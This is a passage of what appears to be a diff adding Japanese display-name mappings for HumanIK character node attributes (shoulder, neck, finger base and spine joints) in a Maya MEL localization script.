"RightShoulderRotateAxisz", "右肩の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderJointOrient", "右肩のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderJointOrientx", "右肩のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderJointOrienty", "右肩のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderJointOrientz", "右肩のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderMinRLimit", "右肩の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderMinRLimitx", "右肩の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderMinRLimity", "右肩の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderMinRLimitz", "右肩の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderMaxRLimit", "右肩の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderMaxRLimitx", "右肩の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderMaxRLimity", "右肩の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderMaxRLimitz", "右肩の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderMinRLimitEnablex", "右肩の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderMinRLimitEnabley", "右肩の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderMinRLimitEnablez", "右肩の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderMaxRLimitEnablex", "右肩の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderMaxRLimitEnabley", "右肩の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderMaxRLimitEnablez", "右肩の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck", "首" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckT", "首 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckTx", "首 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckTy", "首 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckTz", "首 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckR", "首 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckRx", "首 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckRy", "首 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckRz", "首 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckS", "首 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckSx", "首 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckSy", "首 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckSz", "首 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckRotateOrder", "首の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckRotateAxis", "首の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckRotateAxisx", "首の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckRotateAxisy", "首の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckRotateAxisz", "首の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckJointOrient", "首のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckJointOrientx", "首のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckJointOrienty", "首のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckJointOrientz", "首のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckMinRLimit", "首の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckMinRLimitx", "首の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckMinRLimity", "首の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckMinRLimitz", "首の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckMaxRLimit", "首の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckMaxRLimitx", "首の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckMaxRLimity", "首の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckMaxRLimitz", "首の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckMinRLimitEnablex", "首の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckMinRLimitEnabley", "首の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckMinRLimitEnablez", "首の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckMaxRLimitEnablex", "首の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckMaxRLimitEnabley", "首の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckMaxRLimitEnablez", "首の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBase", "左指のベース" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseT", "左指のベース T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseTx", "左指のベース Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseTy", "左指のベース Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseTz", "左指のベース Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseR", "左指のベース R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseRx", "左指のベース Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseRy", "左指のベース Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseRz", "左指のベース Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseS", "左指のベース S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseSx", "左指のベース Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseSy", "左指のベース Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseSz", "左指のベース Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseRotateOrder", "左指のベースの回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseRotateAxis", "左指のベースの回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseRotateAxisx", "左指のベースの回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseRotateAxisy", "左指のベースの回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseRotateAxisz", "左指のベースの回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseJointOrient", "左指のベースのジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseJointOrientx", "左指のベースのジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseJointOrienty", "左指のベースのジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseJointOrientz", "左指のベースのジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseMinRLimit", "左指のベースの最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseMinRLimitx", "左指のベースの最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseMinRLimity", "左指のベースの最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseMinRLimitz", "左指のベースの最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseMaxRLimit", "左指のベースの最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseMaxRLimitx", "左指のベースの最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseMaxRLimity", "左指のベースの最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseMaxRLimitz", "左指のベースの最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseMinRLimitEnablex", "左指のベースの最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseMinRLimitEnabley", "左指のベースの最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseMinRLimitEnablez", "左指のベースの最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseMaxRLimitEnablex", "左指のベースの最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseMaxRLimitEnabley", "左指のベースの最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseMaxRLimitEnablez", "左指のベースの最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBase", "右指のベース" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseT", "右指のベース T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseTx", "右指のベース Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseTy", "右指のベース Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseTz", "右指のベース Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseR", "右指のベース R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseRx", "右指のベース Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseRy", "右指のベース Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseRz", "右指のベース Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseS", "右指のベース S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseSx", "右指のベース Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseSy", "右指のベース Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseSz", "右指のベース Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseRotateOrder", "右指のベースの回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseRotateAxis", "右指のベースの回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseRotateAxisx", "右指のベースの回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseRotateAxisy", "右指のベースの回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseRotateAxisz", "右指のベースの回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseJointOrient", "右指のベースのジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseJointOrientx", "右指のベースのジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseJointOrienty", "右指のベースのジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseJointOrientz", "右指のベースのジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseMinRLimit", "右指のベースの最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseMinRLimitx", "右指のベースの最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseMinRLimity", "右指のベースの最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseMinRLimitz", "右指のベースの最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseMaxRLimit", "右指のベースの最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseMaxRLimitx", "右指のベースの最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseMaxRLimity", "右指のベースの最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseMaxRLimitz", "右指のベースの最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseMinRLimitEnablex", "右指のベースの最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseMinRLimitEnabley", "右指のベースの最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseMinRLimitEnablez", "右指のベースの最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseMaxRLimitEnablex", "右指のベースの最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseMaxRLimitEnabley", "右指のベースの最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseMaxRLimitEnablez", "右指のベースの最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1", "脊椎 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1T", "脊椎 1 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1Tx", "脊椎 1 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1Ty", "脊椎 1 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1Tz", "脊椎 1 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1R", "脊椎 1 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1Rx", "脊椎 1 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1Ry", "脊椎 1 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1Rz", "脊椎 1 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1S", "脊椎 1 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1Sx", "脊椎 1 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1Sy", "脊椎 1 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1Sz", "脊椎 1 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1RotateOrder", "脊椎 1 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1RotateAxis", "脊椎 1 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1RotateAxisx", "脊椎 1 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1RotateAxisy", "脊椎 1 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1RotateAxisz", "脊椎 1 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1JointOrient", "脊椎 1 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1JointOrientx", "脊椎 1 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1JointOrienty", "脊椎 1 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1JointOrientz", "脊椎 1 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1MinRLimit", "脊椎 1 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1MinRLimitx", "脊椎 1 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1MinRLimity", "脊椎 1 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1MinRLimitz", "脊椎 1 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1MaxRLimit", "脊椎 1 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1MaxRLimitx", "脊椎 1 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1MaxRLimity", "脊椎 1 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1MaxRLimitz", "脊椎 1 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1MinRLimitEnablex", "脊椎 1 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1MinRLimitEnabley", "脊椎 1 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1MinRLimitEnablez", "脊椎 1 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1MaxRLimitEnablex", "脊椎 1 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1MaxRLimitEnabley", "脊椎 1 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1MaxRLimitEnablez", "脊椎 1 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2", "脊椎 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2T", "脊椎 2 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2Tx", "脊椎 2 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2Ty", "脊椎 2 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2Tz", "脊椎 2 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2R", "脊椎 2 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2Rx", "脊椎 2 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2Ry", "脊椎 2 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2Rz", "脊椎 2 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2S", "脊椎 2 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2Sx", "脊椎 2 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2Sy", "脊椎 2 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2Sz", "脊椎 2 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2RotateOrder", "脊椎 2 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2RotateAxis", "脊椎 2 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2RotateAxisx", "脊椎 2 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2RotateAxisy", "脊椎 2 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2RotateAxisz", "脊椎 2 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2JointOrient", "脊椎 2 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2JointOrientx", "脊椎 2 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2JointOrienty", "脊椎 2 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2JointOrientz", "脊椎 2 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2MinRLimit", "脊椎 2 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2MinRLimitx", "脊椎 2 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2MinRLimity", "脊椎 2 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2MinRLimitz", "脊椎 2 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2MaxRLimit", "脊椎 2 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2MaxRLimitx", "脊椎 2 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2MaxRLimity", "脊椎 2 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2MaxRLimitz", "脊椎 2 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2MinRLimitEnablex", "脊椎 2 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2MinRLimitEnabley", "脊椎 2 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2MinRLimitEnablez", "脊椎 2 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2MaxRLimitEnablex", "脊椎 2 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2MaxRLimitEnabley", "脊椎 2 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2MaxRLimitEnablez", "脊椎 2 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3", "脊椎 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3T", "脊椎 3 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3Tx", "脊椎 3 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3Ty", "脊椎 3 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3Tz", "脊椎 3 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3R", "脊椎 3 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3Rx", "脊椎 3 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3Ry", "脊椎 3 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3Rz", "脊椎 3 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3S", "脊椎 3 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3Sx", "脊椎 3 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3Sy", "脊椎 3 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3Sz", "脊椎 3 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3RotateOrder", "脊椎 3 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3RotateAxis", "脊椎 3 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3RotateAxisx", "脊椎 3 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3RotateAxisy", "脊椎 3 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3RotateAxisz", "脊椎 3 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3JointOrient", "脊椎 3 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3JointOrientx", "脊椎 3 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3JointOrienty", "脊椎 3 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3JointOrientz", "脊椎 3 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3MinRLimit", "脊椎 3 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3MinRLimitx", "脊椎 3 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3MinRLimity", "脊椎 3 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3MinRLimitz", "脊椎 3 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3MaxRLimit", "脊椎 3 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3MaxRLimitx", "脊椎 3 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3MaxRLimity", "脊椎 3 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3MaxRLimitz", "脊椎 3 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3MinRLimitEnablex", "脊椎 3 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3MinRLimitEnabley", "脊椎 3 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3MinRLimitEnablez", "脊椎 3 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3MaxRLimitEnablex", "脊椎 3 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3MaxRLimitEnabley", "脊椎 3 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3MaxRLimitEnablez", "脊椎 3 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4", "脊椎 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4T", "脊椎 4 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4Tx", "脊椎 4 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4Ty", "脊椎 4 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4Tz", "脊椎 4 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4R", "脊椎 4 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4Rx", "脊椎 4 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4Ry", "脊椎 4 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4Rz", "脊椎 4 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4S", "脊椎 4 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4Sx", "脊椎 4 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4Sy", "脊椎 4 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4Sz", "脊椎 4 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4RotateOrder", "脊椎 4 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4RotateAxis", "脊椎 4 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4RotateAxisx", "脊椎 4 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4RotateAxisy", "脊椎 4 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4RotateAxisz", "脊椎 4 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4JointOrient", "脊椎 4 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4JointOrientx", "脊椎 4 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4JointOrienty", "脊椎 4 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4JointOrientz", "脊椎 4 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4MinRLimit", "脊椎 4 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4MinRLimitx", "脊椎 4 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4MinRLimity", "脊椎 4 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4MinRLimitz", "脊椎 4 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4MaxRLimit", "脊椎 4 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4MaxRLimitx", "脊椎 4 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4MaxRLimity", "脊椎 4 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4MaxRLimitz", "脊椎 4 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4MinRLimitEnablex", "脊椎 4 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4MinRLimitEnabley", "脊椎 4 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4MinRLimitEnablez", "脊椎 4 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4MaxRLimitEnablex", "脊椎 4 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4MaxRLimitEnabley", "脊椎 4 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4MaxRLimitEnablez", "脊椎 4 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5", "脊椎 5" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5T", "脊椎 5 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5Tx", "脊椎 5 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5Ty", "脊椎 5 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5Tz", "脊椎 5 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5R", "脊椎 5 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5Rx", "脊椎 5 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5Ry", "脊椎 5 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5Rz", "脊椎 5 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5S", "脊椎 5 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5Sx", "脊椎 5 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5Sy", "脊椎 5 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5Sz", "脊椎 5 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5RotateOrder", "脊椎 5 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5RotateAxis", "脊椎 5 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5RotateAxisx", "脊椎 5 の回転軸x" ); 